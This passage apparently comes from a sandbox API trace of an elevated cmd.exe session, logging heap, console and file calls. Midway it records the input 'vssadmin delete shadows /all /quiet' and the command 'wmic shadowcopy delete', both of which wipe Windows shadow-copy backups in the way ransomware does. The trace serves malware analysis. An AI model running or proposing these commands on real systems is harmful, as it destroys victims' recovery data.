GetProcessHeap () returned 0x270000 [0267.303] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0xaea) returned 0x28f370 [0267.303] FreeEnvironmentStringsW (penv=0x28e870) returned 1 [0267.303] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0267.303] GetProcessHeap () returned 0x270000 [0267.303] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28f370 | out: hHeap=0x270000) returned 1 [0267.303] GetEnvironmentStringsW () returned 0x28e870* [0267.303] GetProcessHeap () returned 0x270000 [0267.303] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0xaea) returned 0x28f370 [0267.303] FreeEnvironmentStringsW (penv=0x28e870) returned 1 [0267.303] GetProcessHeap () returned 0x270000 [0267.303] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x288900 | out: hHeap=0x270000) returned 1 [0267.303] DeleteProcThreadAttributeList (in: lpAttributeList=0x14edb8 | out: lpAttributeList=0x14edb8) [0267.303] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0267.304] _get_osfhandle (_FileHandle=1) returned 0xbc [0267.304] SetConsoleMode (hConsoleHandle=0xbc, dwMode=0x0) returned 0 [0267.305] _get_osfhandle (_FileHandle=1) returned 0xbc [0267.305] GetConsoleMode (in: hConsoleHandle=0xbc, lpMode=0x49f8e194 | out: lpMode=0x49f8e194) returned 0 [0267.307] _get_osfhandle (_FileHandle=0) returned 0xb0 [0267.307] GetConsoleMode (in: hConsoleHandle=0xb0, lpMode=0x49f8e198 | out: lpMode=0x49f8e198) returned 0 [0267.308] GetConsoleOutputCP () returned 0x1b5 [0267.308] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0267.308] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0267.308] GetProcessHeap () returned 0x270000 [0267.308] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x285be0 | out: hHeap=0x270000) returned 1 [0267.308] GetProcessHeap () returned 0x270000 [0267.308] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x289cf0 | out: hHeap=0x270000) returned 1 [0267.308] GetProcessHeap () returned 0x270000 [0267.308] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x289be0 | out: hHeap=0x270000) returned 1 [0267.308] GetProcessHeap () returned 0x270000 [0267.308] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28b240 | out: hHeap=0x270000) returned 1 [0267.308] GetProcessHeap () returned 0x270000 [0267.308] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x285b70 | out: hHeap=0x270000) returned 1 [0267.308] GetProcessHeap () returned 0x270000 [0267.308] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28aa10 | out: hHeap=0x270000) returned 1 [0267.308] GetProcessHeap () returned 0x270000 [0267.308] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x289880 | out: hHeap=0x270000) returned 1 [0267.308] GetProcessHeap () returned 0x270000 [0267.308] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x284610 | out: hHeap=0x270000) returned 1 [0267.308] GetProcessHeap () returned 0x270000 [0267.309] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2897c0 | out: hHeap=0x270000) returned 1 [0267.309] _vsnwprintf (in: _Buffer=0x49fa6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x14f218 | out: _Buffer="\r\n") returned 2 [0267.309] _get_osfhandle (_FileHandle=1) returned 0xbc [0267.309] GetFileType (hFile=0xbc) returned 0x3 [0267.309] _get_osfhandle (_FileHandle=1) returned 0xbc [0267.309] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0267.309] WriteFile (in: hFile=0xbc, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x14f1e8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x14f1e8*=0x2, lpOverlapped=0x0) returned 1 [0267.309] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0267.309] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49f9c0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0267.310] _vsnwprintf (in: _Buffer=0x49f8eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x14f228 | out: _Buffer="C:\\Windows\\system32") returned 19 [0267.310] _vsnwprintf (in: _Buffer=0x49f8eb86, _BufferCount=0x3eb, _Format="%c", _ArgList=0x14f228 | out: _Buffer=">") returned 1 [0267.310] _get_osfhandle (_FileHandle=1) returned 0xbc [0267.310] GetFileType (hFile=0xbc) returned 0x3 [0267.310] _get_osfhandle (_FileHandle=1) returned 0xbc [0267.310] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Windows\\system32>", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\system32>", lpUsedDefaultChar=0x0) returned 21 [0267.310] WriteFile (in: hFile=0xbc, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0x14f218, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x14f218*=0x14, lpOverlapped=0x0) returned 1 [0267.310] _get_osfhandle (_FileHandle=0) returned 0xb0 [0267.310] GetFileType (hFile=0xb0) returned 0x3 [0267.310] _get_osfhandle (_FileHandle=0) returned 0xb0 [0267.310] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0267.310] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0267.310] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e320, cchWideChar=1 | out: lpWideCharStr="wssadmin delete shadows /all /quiet\n") returned 1 [0267.311] _get_osfhandle (_FileHandle=0) returned 0xb0 [0267.311] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0267.311] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0267.311] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e322, cchWideChar=1 | out: lpWideCharStr="msadmin delete shadows /all /quiet\n") returned 1 [0267.311] _get_osfhandle (_FileHandle=0) returned 0xb0 [0267.311] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0267.311] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0267.311] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e324, cchWideChar=1 | out: lpWideCharStr="iadmin delete shadows /all /quiet\n") returned 1 [0267.311] _get_osfhandle (_FileHandle=0) returned 0xb0 [0267.311] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0267.311] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0267.311] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e326, cchWideChar=1 | out: lpWideCharStr="cdmin delete shadows /all /quiet\n") returned 1 [0267.311] _get_osfhandle (_FileHandle=0) returned 0xb0 [0267.311] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0267.311] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0267.311] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e328, cchWideChar=1 | out: lpWideCharStr=" min delete shadows /all /quiet\n") returned 1 [0267.311] _get_osfhandle (_FileHandle=0) returned 0xb0 [0267.311] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0267.311] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0267.311] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32a, cchWideChar=1 | out: lpWideCharStr="sin delete shadows /all /quiet\n") returned 1 [0267.311] _get_osfhandle (_FileHandle=0) returned 0xb0 [0267.311] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0267.311] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0267.311] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32c, cchWideChar=1 | out: lpWideCharStr="hn delete shadows /all /quiet\n") returned 1 [0267.311] _get_osfhandle (_FileHandle=0) returned 0xb0 [0267.311] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0267.312] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0267.312] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32e, cchWideChar=1 | out: lpWideCharStr="a delete shadows /all /quiet\n") returned 1 [0267.312] _get_osfhandle (_FileHandle=0) returned 0xb0 [0267.312] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0267.312] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0267.312] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e330, cchWideChar=1 | out: lpWideCharStr="ddelete shadows /all /quiet\n") returned 1 [0267.312] _get_osfhandle (_FileHandle=0) returned 0xb0 [0267.312] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0267.312] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0267.312] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e332, cchWideChar=1 | out: lpWideCharStr="oelete shadows /all /quiet\n") returned 1 [0267.312] _get_osfhandle (_FileHandle=0) returned 0xb0 [0267.312] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0267.312] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0267.312] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e334, cchWideChar=1 | out: lpWideCharStr="wlete shadows /all /quiet\n") returned 1 [0267.312] _get_osfhandle (_FileHandle=0) returned 0xb0 [0267.312] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0267.312] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0267.312] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e336, cchWideChar=1 | out: lpWideCharStr="cete shadows /all /quiet\n") returned 1 [0267.312] _get_osfhandle (_FileHandle=0) returned 0xb0 [0267.312] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0267.312] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0267.312] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e338, cchWideChar=1 | out: lpWideCharStr="ote shadows /all /quiet\n") returned 1 [0267.312] _get_osfhandle (_FileHandle=0) returned 0xb0 [0267.312] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0267.312] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0267.312] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33a, cchWideChar=1 | out: lpWideCharStr="pe shadows /all /quiet\n") returned 1 [0267.312] _get_osfhandle (_FileHandle=0) returned 0xb0 [0267.313] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0267.313] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0267.313] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33c, cchWideChar=1 | out: lpWideCharStr="y shadows /all /quiet\n") returned 1 [0267.313] _get_osfhandle (_FileHandle=0) returned 0xb0 [0267.313] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0267.313] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0267.313] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33e, cchWideChar=1 | out: lpWideCharStr=" shadows /all /quiet\n") returned 1 [0267.313] _get_osfhandle (_FileHandle=0) returned 0xb0 [0267.313] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0267.313] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0267.313] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e340, cchWideChar=1 | out: lpWideCharStr="dhadows /all /quiet\n") returned 1 [0267.313] _get_osfhandle (_FileHandle=0) returned 0xb0 [0267.313] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0267.313] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0267.313] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e342, cchWideChar=1 | out: lpWideCharStr="eadows /all /quiet\n") returned 1 [0267.313] _get_osfhandle (_FileHandle=0) returned 0xb0 [0267.313] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0267.313] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0267.313] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e344, cchWideChar=1 | out: lpWideCharStr="ldows /all /quiet\n") returned 1 [0267.313] _get_osfhandle (_FileHandle=0) returned 0xb0 [0267.313] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0267.313] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0267.313] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e346, cchWideChar=1 | out: lpWideCharStr="eows /all /quiet\n") returned 1 [0267.313] _get_osfhandle (_FileHandle=0) returned 0xb0 [0267.313] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0267.313] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0267.314] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e348, cchWideChar=1 | out: lpWideCharStr="tws /all /quiet\n") returned 1 [0267.314] _get_osfhandle (_FileHandle=0) returned 0xb0 [0267.314] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0267.314] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0267.314] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34a, cchWideChar=1 | out: lpWideCharStr="es /all /quiet\n") returned 1 [0267.314] _get_osfhandle (_FileHandle=0) returned 0xb0 [0267.314] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0267.314] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0267.314] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34c, cchWideChar=1 | out: lpWideCharStr="\n /all /quiet\n") returned 1 [0267.314] _get_osfhandle (_FileHandle=0) returned 0xb0 [0267.314] GetFileType (hFile=0xb0) returned 0x3 [0267.314] _get_osfhandle (_FileHandle=0) returned 0xb0 [0267.314] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0267.314] _get_osfhandle (_FileHandle=1) returned 0xbc [0267.314] GetFileType (hFile=0xbc) returned 0x3 [0267.314] _get_osfhandle (_FileHandle=1) returned 0xbc [0267.314] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="wmic shadowcopy delete\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmic shadowcopy delete\n", lpUsedDefaultChar=0x0) returned 24 [0267.314] WriteFile (in: hFile=0xbc, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x14f4f8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x14f4f8*=0x17, lpOverlapped=0x0) returned 1 [0267.314] GetProcessHeap () returned 0x270000 [0267.314] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x4012) returned 0x28fe70 [0267.315] GetProcessHeap () returned 0x270000 [0267.315] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28fe70 | out: hHeap=0x270000) returned 1 [0267.315] GetProcessHeap () returned 0x270000 [0267.315] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0xb0) returned 0x2897c0 [0267.315] GetProcessHeap () returned 0x270000 [0267.316] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x1a) returned 0x284610 [0267.316] GetProcessHeap () returned 0x270000 [0267.316] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x36) returned 0x286510 [0267.316] GetConsoleOutputCP () returned 0x1b5 [0267.316] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0267.316] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0267.317] GetConsoleTitleW (in: lpConsoleTitle=0x14f4b0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0267.317] GetProcessHeap () returned 0x270000 [0267.317] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x218) returned 0x28aa10 [0267.317] GetProcessHeap () returned 0x270000 [0267.317] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x40) returned 0x28fea0 [0267.317] GetProcessHeap () returned 0x270000 [0267.317] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x420) returned 0x271320 [0267.317] SetErrorMode (uMode=0x0) returned 0x0 [0267.317] SetErrorMode (uMode=0x1) returned 0x0 [0267.317] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x271330, lpFilePart=0x14ed40 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x14ed40*="system32") returned 0x13 [0267.317] SetErrorMode (uMode=0x0) returned 0x1 [0267.317] GetProcessHeap () returned 0x270000 [0267.317] RtlReAllocateHeap (Heap=0x270000, Flags=0x0, Ptr=0x271320, Size=0x42) returned 0x271320 [0267.317] GetProcessHeap () returned 0x270000 [0267.317] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x271320) returned 0x42 [0267.317] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0267.317] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0267.317] GetProcessHeap () returned 0x270000 [0267.317] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x104) returned 0x285b70 [0267.318] GetProcessHeap () returned 0x270000 [0267.318] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x1f8) returned 0x289be0 [0267.318] GetProcessHeap () returned 0x270000 [0267.318] RtlReAllocateHeap (Heap=0x270000, Flags=0x0, Ptr=0x289be0, Size=0x106) returned 0x289be0 [0267.318] GetProcessHeap () returned 0x270000 [0267.318] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x289be0) returned 0x106 [0267.318] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0267.318] GetProcessHeap () returned 0x270000 [0267.318] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0xe8) returned 0x289d00 [0267.318] GetProcessHeap () returned 0x270000 [0267.318] RtlReAllocateHeap (Heap=0x270000, Flags=0x0, Ptr=0x289d00, Size=0x7e) returned 0x289d00 [0267.318] GetProcessHeap () returned 0x270000 [0267.318] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x289d00) returned 0x7e [0267.318] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0267.318] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\wmic.*", fInfoLevelId=0x1, 